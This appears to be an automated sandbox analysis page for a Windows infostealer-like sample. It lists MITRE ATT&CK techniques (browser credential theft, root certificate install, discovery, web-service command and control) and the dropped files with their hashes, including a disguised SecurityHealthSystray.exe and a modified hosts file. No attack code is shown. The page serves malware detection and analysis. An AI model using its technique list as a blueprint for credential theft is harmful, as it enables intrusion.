Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
0256bd284691ed0fc502ef3c8a7e58dc

SHA1
dcdf69dc8ca8bf068f65d20ef1563bbe283e2413

SHA256
e2fb83098e114084f51ed7187334f861ce670051046c39f338928296ca9a49cf

SHA512
c5b29c1e0a15ddb68b0579848066774fa7cdc6f35087bbbf47c05a5c0dcc1eb3e61b2ddadfbded8c1ed9820e637596a9f08a97db8fb18000d168e6b159060c42

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESA884.tmp

Filesize
1KB

MD5
3a23da86ca7c6a11a1895ff8ce929c2c

SHA1
1e0b14726d05bd3c4bbd1f743bf3c6ad53d445a3

SHA256
f68fe3d409f7b3532a0b219d5687c40ebc84b80042f39588ca2deed7ce204c44

SHA512
77f72be7b8360da9ed2409fde291ca66c619685260ccd679669a67afccf786d7c1a91f4835662d75b6cc30f92eb28beadc5027232d057d3ae7d36fb8da8060b0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1lga1y3g.xh3.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\rfcxyar4\rfcxyar4.dll

Filesize
4KB

MD5
c42fedab5f60fd46286b302fa5108319

SHA1
bb9fa60a977cb7eb8801937822a93a8826478ad7

SHA256
d5ac8b0fd5f3de09e2d67667f920a3062f6c34bcbec22742d25fbdadbd1f8709

SHA512
11c7d2c4d0adbea3fcecd8dfb254e9d954dba2d2a3e3f3a1652dca726a575812b006cf30516e09c169c151351ca2f8b88e141c13e5bd219b7ba2e1953b6dcc94

Download Submit
C:\Users\Admin\AppData\Local\Temp\w7vrJes3hj\Display (1).png

Filesize
421KB

MD5
69ae2b2785f9040ef8ed3a8b38bbe5ee

SHA1
fe045994fd68b878b12cb2f9f7b23c9068e1810e

SHA256
189c1b80e3ca8901b6bdfb2fb37a5aa7cfeee3d858aeebc8156d3d21a5c10ada

SHA512
29dc46ec6fd607784fb058bf7a6a1e3083016cc46ab78b693e4b8ca1b069c4533e813ca23fa60bd0636f0802d9039432313290400a8787389b64f75cba7a5de9

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe

Filesize
9.9MB

MD5
d00d98a03bd9a78b7ce8f77ede918b7e

SHA1
c9e7ed612aa1900f972c5c26f715c0198d32e953

SHA256
d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995

SHA512
e99a44a030f92af338d8c095ca2f10e4d1b1823545fa5af8cde8de6bb6242632d3ffff5995a3577aa0a75bd731303438030034136cc5f7116e69ccbe64199db3

Download Submit
C:\Windows\System32\drivers\etc\hosts

Filesize
2KB

MD5
6e2386469072b80f18d5722d07afdc0b

SHA1
032d13e364833d7276fcab8a5b2759e79182880f

SHA256
ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075

SHA512
e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\rfcxyar4\CSC9DCEC829FA0E4DD8A517544E576FABA5.TMP

Filesize
652B

MD5
aafa7b432d9a8440441182fe8e15226b

SHA1
8d2a3918f483b67654f1079cbbe73f874a759b59

SHA256
5f5f92b2ef462394371192a383686f6f13b26be1dcda20823588d45571c55e81

SHA512
60b38784e2f98a2e9d76728c1f27e9819d90a4ec88c49f8ceef076f6d22450d1bb90d308261eafe2f66745a706699ed87aa7aa70ca3d513999460a22496fdd53

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\rfcxyar4\rfcxyar4.0.cs

Filesize
1004B

MD5
c76055a0388b713a1eabe16130684dc3

SHA1
ee11e84cf41d8a43340f7102e17660072906c402

SHA256
8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

SHA512
22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\rfcxyar4\rfcxyar4.cmdline

Filesize
607B

MD5
ea6a506da89d895db3bca9042333a0e2

SHA1
74b2613e4667f73355a6bcb9fdf049f640dafb9a

SHA256
7378b1a94d0c2c22bcfa9c17963fb1377ff7dd86d7621ceb42157d90f8c6eab9

SHA512
dea2460878d90fecb00f8918da18a8bf105ffc0da09e5ac040979e4b7d41b5db0a59e59b944c7733b6b955ba5f4fbcae854596c61259223b0df70b39e43d9c71

Download Submit
memory/1448-8-0x0000019ED3D10000-0x0000019ED3D32000-memory.dmp

Filesize
136KB

Download
memory/4784-56-0x0000026D9E220000-0x0000026D9E228000-memory.dmp

Filesize
32KB

Download